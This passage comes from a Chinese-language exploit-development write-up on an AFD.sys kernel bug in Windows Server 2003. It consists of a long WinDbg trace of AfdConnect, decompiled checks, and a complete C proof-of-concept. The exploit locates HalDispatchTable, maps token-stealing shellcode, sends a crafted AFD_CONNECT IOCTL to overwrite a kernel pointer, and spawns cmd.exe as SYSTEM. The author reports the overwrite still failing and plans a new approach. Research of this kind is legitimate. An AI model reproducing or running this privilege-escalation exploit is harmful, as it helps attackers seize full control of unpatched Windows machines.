ba8c4b60 8b4210 mov eax,dword ptr [edx+10h]
2: kd> p
afd!AfdConnect+0x69:
ba8c4b63 8945b0 mov dword ptr [ebp-50h],eax
2: kd> p
afd!AfdConnect+0x6c:
ba8c4b66 8a08 mov cl,byte ptr [eax]
2: kd> p
afd!AfdConnect+0x6e:
ba8c4b68 884de7 mov byte ptr [ebp-19h],cl
2: kd> p
afd!AfdConnect+0x71:
ba8c4b6b 8b7008 mov esi,dword ptr [eax+8]
2: kd> p
afd!AfdConnect+0x74:
ba8c4b6e 8975bc mov dword ptr [ebp-44h],esi
2: kd> p
afd!AfdConnect+0x77:
ba8c4b71 8d700c lea esi,[eax+0Ch]
2: kd> p
afd!AfdConnect+0x7a:
ba8c4b74 8975ac mov dword ptr [ebp-54h],esi
2: kd> p
afd!AfdConnect+0x7d:
ba8c4b77 8b5a08 mov ebx,dword ptr [edx+8]
2: kd> p
afd!AfdConnect+0x80:
ba8c4b7a 83eb0c sub ebx,0Ch
2: kd> p
afd!AfdConnect+0x83:
ba8c4b7d 895da8 mov dword ptr [ebp-58h],ebx
2: kd> p
afd!AfdConnect+0x86:
ba8c4b80 834dfcff or dword ptr [ebp-4],0FFFFFFFFh
2: kd> p
afd!AfdConnect+0x8a:
ba8c4b84 85db test ebx,ebx
2: kd> p
afd!AfdConnect+0x8c:
ba8c4b86 0f8c3e090000 jl afd!AfdConnect+0x399 (ba8c54ca)
2: kd> p
afd!AfdConnect+0x92:
ba8c4b8c 84c9 test cl,cl
2: kd> p
afd!AfdConnect+0x94:
ba8c4b8e 750d jne afd!AfdConnect+0xab (ba8c4b9d)
2: kd> p
afd!AfdConnect+0x96:
ba8c4b90 833dc4258cba00 cmp dword ptr [afd!AfdSanServiceHelper (ba8c25c4)],0
2: kd> p
afd!AfdConnect+0x9d:
ba8c4b97 0f85251e0000 jne afd!AfdConnect+0x9f (ba8c69c2)
2: kd> p
afd!AfdConnect+0xab:
ba8c4b9d c745fc01000000 mov dword ptr [ebp-4],1
2: kd> p
afd!AfdConnect+0xb2:
ba8c4ba4 68416664c9 push 0C9646641h
2: kd> p
afd!AfdConnect+0xb7:
ba8c4ba9 8d4330 lea eax,[ebx+30h]
2: kd> p
afd!AfdConnect+0xba:
ba8c4bac 50 push eax
2: kd> p
afd!AfdConnect+0xbb:
ba8c4bad 6a10 push 10h
2: kd> p
afd!AfdConnect+0xbd:
ba8c4baf ff1568108cba call dword ptr [afd!_imp__ExAllocatePoolWithQuotaTag (ba8c1068)]
2: kd> p
afd!AfdConnect+0xc3:
ba8c4bb5 8bd0 mov edx,eax
2: kd> p
afd!AfdConnect+0xc5:
ba8c4bb7 8955d4 mov dword ptr [ebp-2Ch],edx
2: kd> p
afd!AfdConnect+0xc8:
ba8c4bba 89570c mov dword ptr [edi+0Ch],edx
2: kd> p
afd!AfdConnect+0xcb:
ba8c4bbd 6a0c push 0Ch
2: kd> p
afd!AfdConnect+0xcd:
ba8c4bbf 59 pop ecx
2: kd> p
afd!AfdConnect+0xce:
ba8c4bc0 33c0 xor eax,eax
2: kd> p
afd!AfdConnect+0xd0:
ba8c4bc2 8bfa mov edi,edx
2: kd> p
afd!AfdConnect+0xd2:
ba8c4bc4 f3ab rep stos dword ptr es:[edi]
2: kd> p
afd!AfdConnect+0xd4:
ba8c4bc6 8d7a30 lea edi,[edx+30h]
2: kd> p
afd!AfdConnect+0xd7:
ba8c4bc9 8bcb mov ecx,ebx
2: kd> p
afd!AfdConnect+0xd9:
ba8c4bcb 8bc1 mov eax,ecx
2: kd> p
afd!AfdConnect+0xdb:
ba8c4bcd c1e902 shr ecx,2
2: kd> p
afd!AfdConnect+0xde:
ba8c4bd0 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
2: kd> p
afd!AfdConnect+0xe0:
ba8c4bd2 8bc8 mov ecx,eax
2: kd> p
afd!AfdConnect+0xe2:
ba8c4bd4 83e103 and ecx,3
2: kd> p
afd!AfdConnect+0xe5:
ba8c4bd7 f3a4 rep movs byte ptr es:[edi],byte ptr [esi]
2: kd> p
afd!AfdConnect+0xe7:
ba8c4bd9 8d4230 lea eax,[edx+30h]
2: kd> p
afd!AfdConnect+0xea:
ba8c4bdc 833801 cmp dword ptr [eax],1
2: kd> p
afd!AfdConnect+0xed:
ba8c4bdf 0f85821e0000 jne afd!AfdConnect+0x369 (ba8c6a67)
2: kd> p
afd!AfdConnect+0xf3:
ba8c4be5 0fb74a34 movzx ecx,word ptr [edx+34h]
2: kd> p
afd!AfdConnect+0xf7:
ba8c4be9 83c108 add ecx,8
2: kd> p
afd!AfdConnect+0xfa:
ba8c4bec 3bd9 cmp ebx,ecx
2: kd> p
afd!AfdConnect+0xfc:
ba8c4bee 0f8c731e0000 jl afd!AfdConnect+0x369 (ba8c6a67)
2: kd> p
afd!AfdConnect+0x102:
ba8c4bf4 894214 mov dword ptr [edx+14h],eax
2: kd> p
afd!AfdConnect+0x105:
ba8c4bf7 895a10 mov dword ptr [edx+10h],ebx
2: kd> p
afd!AfdConnect+0x108:
ba8c4bfa 8b7dc4 mov edi,dword ptr [ebp-3Ch]
2: kd> p
afd!AfdConnect+0x10b:
ba8c4bfd 33d2 xor edx,edx
2: kd> p
afd!AfdConnect+0x10d:
ba8c4bff 8b5dd8 mov ebx,dword ptr [ebp-28h]
2: kd> p
afd!AfdConnect+0x110:
ba8c4c02 395704 cmp dword ptr [edi+4],edx
2: kd> p
afd!AfdConnect+0x113:
ba8c4c05 0f8776080000 ja afd!AfdConnect+0x115 (ba8c5481)
2: kd> p
afd!AfdConnect+0x134:
ba8c4c0b 834dfcff or dword ptr [ebp-4],0FFFFFFFFh
2: kd> p
afd!AfdConnect+0x138:
ba8c4c0f 8b4f18 mov ecx,dword ptr [edi+18h]
2: kd> p
afd!AfdConnect+0x13b:
ba8c4c12 894dd0 mov dword ptr [ebp-30h],ecx
2: kd> p
afd!AfdConnect+0x13e:
ba8c4c15 8b710c mov esi,dword ptr [ecx+0Ch]
2: kd> p
afd!AfdConnect+0x141:
ba8c4c18 66813efdaa cmp word ptr [esi],0AAFDh
2: kd> p
afd!AfdConnect+0x146:
ba8c4c1d 0f8473070000 je afd!AfdConnect+0x148 (ba8c5396)
2: kd> p
afd!AfdConnect+0x1a4:
ba8c4c23 ff1524128cba call dword ptr [afd!_imp_ObfReferenceObject (ba8c1224)]
2: kd> p
afd!AfdConnect+0x1aa:
ba8c4c29 66813ed1af cmp word ptr [esi],0AFD1h
2: kd> p
afd!AfdConnect+0x1af:
ba8c4c2e 0f849f030000 je afd!AfdConnect+0x1b1 (ba8c4fd3)
2: kd> p
afd!AfdConnect+0x1c1:
ba8c4c34 8d8eb8000000 lea ecx,[esi+0B8h]
2: kd> p
afd!AfdConnect+0x1c7:
ba8c4c3a 894db4 mov dword ptr [ebp-4Ch],ecx
2: kd> p
afd!AfdConnect+0x1ca:
ba8c4c3d 6a03 push 3
2: kd> p
afd!AfdConnect+0x1cc:
ba8c4c3f 5a pop edx
2: kd> p
afd!AfdConnect+0x1cd:
ba8c4c40 33c0 xor eax,eax
2: kd> p
afd!AfdConnect+0x1cf:
ba8c4c42 f00fb111 lock cmpxchg dword ptr [ecx],edx
2: kd> p
afd!AfdConnect+0x1d3:
ba8c4c46 85c0 test eax,eax
2: kd> p
afd!AfdConnect+0x1d5:
ba8c4c48 0f858d1d0000 jne afd!AfdConnect+0x1d7 (ba8c69db)
2: kd> p
afd!AfdConnect+0x1e3:
ba8c4c4e 668b06 mov ax,word ptr [esi]
2: kd> p
afd!AfdConnect+0x1e6:
ba8c4c51 663dd0af cmp ax,0AFD0h
2: kd> p
afd!AfdConnect+0x1ea:
ba8c4c55 0f85891d0000 jne afd!AfdConnect+0x1ec (ba8c69e4)
2: kd> p
afd!AfdConnect+0x1f6:
ba8c4c5b 8b460c mov eax,dword ptr [esi+0Ch]
2: kd> p
afd!AfdConnect+0x1f9:
ba8c4c5e a801 test al,1
2: kd> p
afd!AfdConnect+0x1fb:
ba8c4c60 0f8558080000 jne afd!AfdConnect+0x315 (ba8c54be)
2: kd> p
afd!AfdConnect+0x201:
ba8c4c66 807e0202 cmp byte ptr [esi+2],2 <--- [0]
2: kd> p
afd!AfdConnect+0x205:
ba8c4c6a 0f854e080000 jne afd!AfdConnect+0x315 (ba8c54be) <--- [1]
2: kd> p
afd!AfdConnect+0x315:
ba8c54be c745e00d0000c0 mov dword ptr [ebp-20h],0C000000Dh
2: kd> p
afd!AfdConnect+0x31c:
ba8c54c5 e956150000 jmp afd!AfdConnect+0x321 (ba8c6a20)
2: kd> p
afd!AfdConnect+0x321:
ba8c6a20 33c0 xor eax,eax
2: kd> p
afd!AfdConnect+0x323:
ba8c6a22 8701 xchg eax,dword ptr [ecx]
2: kd> p
afd!AfdConnect+0x325:
ba8c6a24 8b4dd0 mov ecx,dword ptr [ebp-30h]
2: kd> p
afd!AfdConnect+0x328:
ba8c6a27 ff1544128cba call dword ptr [afd!_imp_ObfDereferenceObject (ba8c1244)]
2: kd> p
afd!AfdConnect+0x32e:
ba8c6a2d 8b7dd8 mov edi,dword ptr [ebp-28h]
2: kd> p
afd!AfdConnect+0x331:
ba8c6a30 33f6 xor esi,esi
2: kd> p
afd!AfdConnect+0x333:
ba8c6a32 3975d4 cmp dword ptr [ebp-2Ch],esi
2: kd> p
afd!AfdConnect+0x336:
ba8c6a35 7411 je afd!AfdConnect+0x349 (ba8c6a48)
2: kd> p
afd!AfdConnect+0x338:
ba8c6a37 68416664c9 push 0C9646641h
2: kd> p
afd!AfdConnect+0x33d:
ba8c6a3c ff75d4 push dword ptr [ebp-2Ch]
2: kd> p
afd!AfdConnect+0x340:
ba8c6a3f ff1534128cba call dword ptr [afd!_imp__ExFreePoolWithTag (ba8c1234)]
2: kd> p
afd!AfdConnect+0x346:
ba8c6a45 89770c mov dword ptr [edi+0Ch],esi
2: kd> p
afd!AfdConnect+0x349:
ba8c6a48 89771c mov dword ptr [edi+1Ch],esi
2: kd> p
afd!AfdConnect+0x34c:
ba8c6a4b 8b45e0 mov eax,dword ptr [ebp-20h]
2: kd> p
afd!AfdConnect+0x34f:
ba8c6a4e 894718 mov dword ptr [edi+18h],eax
2: kd> p
afd!AfdConnect+0x352:
ba8c6a51 8a1512208cba mov dl,byte ptr [afd!AfdPriorityBoost (ba8c2012)]
2: kd> p
afd!AfdConnect+0x358:
ba8c6a57 8bcf mov ecx,edi
2: kd> p
afd!AfdConnect+0x35a:
ba8c6a59 ff1538128cba call dword ptr [afd!_imp_IofCompleteRequest (ba8c1238)]
2: kd> p
afd!AfdConnect+0x360:
ba8c6a5f 8b45e0 mov eax,dword ptr [ebp-20h]
2: kd> p
afd!AfdConnect+0x363:
ba8c6a62 e9f7e2ffff jmp afd!AfdConnect+0x363 (ba8c4d5e)
2: kd> p
afd!AfdConnect+0x363:
ba8c4d5e e81da4ffff call afd!_SEH_epilog (ba8bf180)
2: kd> p
afd!AfdConnect+0x368:
ba8c4d63 c3 ret
2: kd> p
afd!AfdDispatchDeviceControl+0x53:
ba8cd097 5f pop edi
--------------------------------------------------------------------
根据代码发现其在[0]处进行判断,[1]处进行跳转,跟踪对应伪代码发现
--------------------------------------------------------------------
if ( *(_WORD *)v12 != 0xAFD0 && *(_WORD *)v12 != 0xAFD2
|| (v14 = *(_DWORD *)(v12 + 12), (v14 & 1) != 0)
|| *(_BYTE *)(v12 + 2) != 2 )
{
Connection = 0xC000000D;
LABEL_47:
_InterlockedExchange(v13, 0);
goto LABEL_48;
}
--------------------------------------------------------------------
直接这么看,不够直观,可能需要结合源码来看
--------------------------------------------------------------------
if ( IS_DGRAM_ENDPOINT(endpoint) ) {
return AfdDoDatagramConnect( fileObject, Irp, FALSE );
}
if (!AFD_START_STATE_CHANGE (endpoint, AfdEndpointStateConnected)) {
status = STATUS_INVALID_PARAMETER;
goto complete_deref;
}
if ( endpoint->Type != AfdBlockTypeEndpoint &&
endpoint->Type != AfdBlockTypeVcConnecting ) {
status = STATUS_INVALID_PARAMETER;
goto complete_state_change;
}
//
// If the endpoint is not bound, then this is an invalid request.
// Listening endpoints are not allowed as well.
//
if ( endpoint->Listening ||
endpoint->State != AfdEndpointStateBound ) {
status = STATUS_INVALID_PARAMETER;
goto complete_state_change;
}
--------------------------------------------------------------------
其中条件
endpoint->Listening || endpoint->State != AfdEndpointStateBound
是判断失败的部分,不进入错误分支需要两个条件
a. 不在Listening状态
b. 需要为AfdEndpointStateBound状态
通过搜索发现,能够解决该问题,具体解决办法如下
bind(tcp_socket,
(struct sockaddr *)&peer,
sizeof(struct sockaddr))
将客户端发起连接的端口设置为Bound,但是不在Listen
最后使用如下代码测试
--------------------------------------------------------------------
#include "stdafx.h"
#include <stdio.h>
#include <Winsock2.h>
#include <Ws2tcpip.h>
#include <ntsecapi.h>
#pragma comment(lib, "ws2_32.lib")
#define AFD_CONNECT 0x12007
typedef enum _KPROFILE_SOURCE {
ProfileTime,
ProfileAlignmentFixup,
ProfileTotalIssues,
ProfilePipelineDry,
ProfileLoadInstructions,
ProfilePipelineFrozen,
ProfileBranchInstructions,
ProfileTotalNonissues,
ProfileDcacheMisses,
ProfileIcacheMisses,
ProfileCacheMisses,
ProfileBranchMispredictions,
ProfileStoreInstructions,
ProfileFpInstructions,
ProfileIntegerInstructions,
Profile2Issue,
Profile3Issue,
Profile4Issue,
ProfileSpecialInstructions,
ProfileTotalCycles,
ProfileIcacheIssues,
ProfileDcacheAccesses,
ProfileMemoryBarrierCycles,
ProfileLoadLinkedIssues,
ProfileMaximum
} KPROFILE_SOURCE, *PKPROFILE_SOURCE;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemNotImplemented1,
SystemProcessesAndThreadsInformation,
SystemCallCounts,
SystemConfigurationInformation,
SystemProcessorTimes,
SystemGlobalFlag,
SystemNotImplemented2,
SystemModuleInformation,
SystemLockInformation,
SystemNotImplemented3,
SystemNotImplemented4,
SystemNotImplemented5,
SystemHandleInformation,
SystemObjectInformation,
SystemPagefileInformation,
SystemInstructioEmulationCounts,
SystemInvalidInfoClass1,
SystemCacheInformation,
SystemPoolTagInformation,
SystemProcessorStatistics,
SystemDpcInformation,
SystemNotImplemented6,
SystemLoadImage,
SystemUnloadImage,
SystemTimeAdjustment,
SystemNotImplemented7,
SystemNotImplemented8,
SystemNotImplemented9,
SystemCrashDumpInformation,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegisterQuotaInformation,
SystemLoadAndCallImage,
SystemPrioritySeparation
} SYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
// 模拟 TDI 地址结构
typedef struct _TDI_ADDRESS_IP {
USHORT sin_port;
ULONG in_addr;
UCHAR sin_zero[8];
} TDI_ADDRESS_IP, *PTDI_ADDRESS_IP;
typedef struct _TA_ADDRESS_IP {
USHORT AddressLength; // 长度
USHORT AddressType; // 类型
TDI_ADDRESS_IP Address;
} TA_ADDRESS_IP, *PTA_ADDRESS_IP;
typedef struct _TRANSPORT_ADDRESS_IP {
LONG TAAddressCount; // 必须为 1
TA_ADDRESS_IP Address[1];
} TRANSPORT_ADDRESS_IP, *PTRANSPORT_ADDRESS_IP;
// 模拟 AFD 连接信息结构 (对齐处理)
#pragma pack(push, 1)
typedef struct _AFD_CONNECT_JOIN_INFO_PAYLOAD {
BOOLEAN SanActive; // Offset 0
UCHAR Padding[3]; // Offset 1-3 (对齐到 4 字节)
HANDLE RootEndpoint; // Offset 4
HANDLE ConnectEndpoint;// Offset 8
TRANSPORT_ADDRESS_IP RemoteAddress; // Offset 12
} AFD_CONNECT_JOIN_INFO_PAYLOAD, *PAFD_CONNECT_JOIN_INFO_PAYLOAD;
#pragma pack(pop)
typedef NTSTATUS(NTAPI *ZWQUERYINTERNALPROFILE)(ULONG, PULONG);
typedef NTSTATUS(NTAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);
typedef NTSTATUS(NTAPI *ZWALLOCATEVIRTUALMEMORY)(HANDLE,
PVOID *,
ULONG,
PULONG,
ULONG,
ULONG);
ZWQUERYINTERNALPROFILE ZwQueryIntervalProfile;
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation;
ZWALLOCATEVIRTUALMEMORY ZwAllocateVirtualMemory;
void ErrorQuit(char *pMsg) {
printf("%sError Code:%d\n", pMsg, GetLastError());
ExitProcess(0);
}
void GetFunction() {
HMODULE hNtdll;
hNtdll = LoadLibrary("ntdll.dll");
if (hNtdll == NULL) {
ErrorQuit("LoadLibrary() failed.\n");
}
ZwQueryIntervalProfile = (ZWQUERYINTERNALPROFILE)GetProcAddress(
hNtdll,
"NtQueryIntervalProfile");
if (ZwQueryIntervalProfile == NULL) {
ErrorQuit("GetProcAddress() failed.\n");
}
ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(
hNtdll,
"ZwQuerySystemInformation");
if (ZwQuerySystemInformation == NULL) {
ErrorQuit("GetProcessAddress() failed.\n");
}
ZwAllocateVirtualMemory = (ZWALLOCATEVIRTUALMEMORY)GetProcAddress(
hNtdll,
"NtAllocateVirtualMemory");
if (ZwAllocateVirtualMemory == NULL) {
ErrorQuit("GetProcAddress() failed.\n");
}
FreeLibrary(hNtdll);
}
ULONG GetKernelBase(char *KernelName) {
ULONG i, Byte, ModuleCount, KernelBase;
PVOID pBuffer;
PSYSTEM_MODULE_INFORMATION pSystemModuleInformation;
PCHAR pName;
ZwQuerySystemInformation(SystemModuleInformation,
(PVOID)&Byte,
0,
&Byte);
if ((pBuffer = malloc(Byte)) == NULL) {
ErrorQuit("malloc failed.\n");
}
if (ZwQuerySystemInformation(SystemModuleInformation,
pBuffer,
Byte,
&Byte)) {
ErrorQuit("ZwQuerySystemInformation failed\n");
}
ModuleCount = *(PULONG)pBuffer;
pSystemModuleInformation =
(PSYSTEM_MODULE_INFORMATION)((PUCHAR)pBuffer + sizeof(ULONG));
for (i = 0; i < ModuleCount; i++) {
if ((pName = strstr(pSystemModuleInformation->ImageName,
"ntoskrnl.exe")) != NULL) {
KernelBase = (ULONG)pSystemModuleInformation->Base;
printf("Kernel is %s\n", pSystemModuleInformation->ImageName);
free(pBuffer);
strcpy(KernelName, "ntoskrnl.exe");
return KernelBase;
}
if ((pName = strstr(pSystemModuleInformation->ImageName,
"ntkrnlpa.exe")) != NULL) {
KernelBase = (ULONG)pSystemModuleInformation->Base;
printf("Kernel is %s(0x%p)\n",
pSystemModuleInformation->ImageName,
KernelBase);
free(pBuffer);
strcpy(KernelName, "ntkrnlpa.exe");
return KernelBase;
}
pSystemModuleInformation++;
}
free(pBuffer);
return 0;
}
int main() {
WSADATA ws;
ULONG junk, KernelBase, dwShellSize = 0x1000;
ULONG_PTR HalDispatchTable;
char KernelName[64];
OSVERSIONINFO ovi;
HMODULE hKernel;
// LPVOID addr = (LPVOID)0x00000000;
LPVOID addr = (LPVOID)0x00000001;
SOCKET tcp_socket;
struct sockaddr_in peer;
KPROFILE_SOURCE ProfileSource;
ULONG_PTR info_result;
PROCESS_INFORMATION pi;
STARTUPINFOA stStartup;
AFD_CONNECT_JOIN_INFO_PAYLOAD payload;
NTSTATUS status, alloc_status;
struct addrinfo *result = NULL,
*ptr = NULL,
hints;
WSAStartup(0x0202, &ws);
printf("[+] Get function address...");
GetFunction();
printf("OK!\n");
printf("[+] get kernel base...");
KernelBase = GetKernelBase(KernelName);
if (!KernelBase) {
ErrorQuit("failed!\n");
}
printf("OK!\n");
// 判断OS版本
ovi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
if (!GetVersionEx(&ovi)) {
ErrorQuit("GetVersionEx() failed.\n");
}
if (ovi.dwMajorVersion != 5 && ovi.dwMinorVersion != 2) {
ErrorQuit("Not Windows 2003.\n");
}
printf("[+] load kernel library: %s...", KernelName);
hKernel = LoadLibrary(KernelName);
if (!hKernel) {
ErrorQuit("failed!\n");
}
printf("OK!\n");
HalDispatchTable = (ULONG_PTR)GetProcAddress(hKernel, "HalDispatchTable");
HalDispatchTable += KernelBase - (ULONG)hKernel;
printf("[+] HalDispatchTable found \t\t\t [ 0x%p ]\n", HalDispatchTable);
// 分配内存
printf("[+] allocate memory at [0x%p]...", addr);
alloc_status = ZwAllocateVirtualMemory(INVALID_HANDLE_VALUE,
&addr,
0,
&dwShellSize,
MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE);
if (alloc_status != 0) {
ErrorQuit("failed!\n");
}
printf("OK!\n");
printf("[+] shellcode addr: %x\n", addr);
// 准备sc
memset(addr, 0x90, dwShellSize);
unsigned char shellcode[] = {
0x90, // nop
0x90, // nop
0x90, // nop
0x90, // nop
0x90, // nop
0x90, // nop
0x90, // nop
0xCC, // nop
0x60, // pusha
0x9c, // pushf
0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, // mov eax, fs:[124]
0x8b, 0xb0, 0x18, 0x02, 0x00, 0x00, // mov esi,DWORD PTR [eax+0x218]
0x89, 0xf0, // mov eax,esi
// <search2k3sp1>:
0x8b, 0x80, 0x98, 0x00, 0x00, 0x00, // mov eax,DWORD PTR [eax+0x98]
0x2d, 0x98, 0x00, 0x00, 0x00, // sub eax,0x98
0x8b, 0x90, 0x94, 0x00, 0x00, 0x00, // mov edx,DWORD PTR [eax+0x94]
0x83, 0xfa, 0x04, // cmp edx,0x4
0x75, 0xea, // jne 17 <search2k3sp1>
0x8b, 0x80, 0xd8, 0x00, 0x00, 0x00, // mov eax,DWORD PTR [eax+0xd8]
0x89, 0x86, 0xd8, 0x00, 0x00, 0x00, // mov DWORD PTR [esi+0xd8],eax
0x9d, // popf
0x61, // popa
0xc2, 0x10, 0x00 // ret 0x10
};
memcpy((void*)((BYTE*)addr + 0x100),
(void*)shellcode,
sizeof(shellcode));
peer.sin_family = AF_INET;
peer.sin_port = htons(0);
// inet_addr("127.0.0.1");
// peer.sin_addr.s_addr = 0x100007f;
peer.sin_addr.s_addr = inet_addr("127.0.0.1");;
tcp_socket = socket(AF_INET, SOCK_STREAM, 0);
// if (connect(tcp_socket,
// (struct sockaddr *)&peer,
// sizeof(struct sockaddr))) {
// closesocket(tcp_socket);
// WSACleanup();
// ErrorQuit("connect failed.\n");
// }
if (bind(tcp_socket,
(struct sockaddr *)&peer,
sizeof(struct sockaddr))==SOCKET_ERROR) {
closesocket(tcp_socket);
WSACleanup();
ErrorQuit("bind failed.\n");
}
printf("[+] Socket bound successfully (State transitioned to Bound).\n");
memset(&payload, 0, sizeof(payload));
payload.SanActive = FALSE;
payload.RootEndpoint = NULL;
payload.ConnectEndpoint = NULL;
// bypass context->RemoteAddress.TAAddressCount != 1
payload.RemoteAddress.TAAddressCount = 1;
// 关键:绕过长度检查
// RemoteAddressLength 计算基于 InputBufferLength
// 内部 AddressLength 必须匹配
payload.RemoteAddress.Address[0].AddressLength = sizeof(TDI_ADDRESS_IP); // 14
payload.RemoteAddress.Address[0].AddressType = 2; // TDI_ADDRESS_TYPE_IP
// 填充一个有效的 IP 地址,增加成功返回 STATUS_SUCCESS 的几率
payload.RemoteAddress.Address[0].Address.sin_port = htons(445);
payload.RemoteAddress.Address[0].Address.in_addr = inet_addr("127.0.0.1");
printf("[+] Overwriting HalDispatchTable with those bytes...\n");
system("pause");
DeviceIoControl((HANDLE)tcp_socket,
AFD_CONNECT,
(LPVOID)&payload,
sizeof(payload),
(LPVOID)(HalDispatchTable+4),
0,
&junk,
NULL);
printf("\n\n");
printf("[+] Executing shellcode...");
ProfileSource = ProfileTotalIssues;
ZwQueryIntervalProfile(ProfileSource, &info_result);
printf("OK!\n");
printf("[+] Create a new process...");
GetStartupInfo(&stStartup);
CreateProcess(NULL,
"cmd.exe",
NULL,
NULL,
TRUE,
NULL,
NULL,
NULL,
&stStartup,
&pi);
printf("OK!\n");
return 0;
}
--------------------------------------------------------------------
执行会遇到问题
--------------------------------------------------------------------
Access violation - code c0000005 (!!! second chance !!!)
c000094c 0000 add byte ptr [eax],al
0: kd> dd HalDispatchTable L8
80894078 00000003 c00000b5 80a779f4 808e7028
80894088 00000000 8081a784 808e61d2 808e6a68
--------------------------------------------------------------------
这个问题尝试使用以下几种办法
1. 自建监听端口127.0.0.1:8888,失败
2. htons(445)/htons(135),失败
3. htons(0),失败
失败的原因主要有两个
STATUS_CONNECTION_REFUSED(0xC0000207)
STATUS_IO_TIMEOUT(0xC00000B5)
卡在这个问题,卡了两周多,始终没有好的办法来解决,在感觉没有希望的时候,
看到了exploit-db上面的利用的新思路,下面会尝试使用新思路来解决问题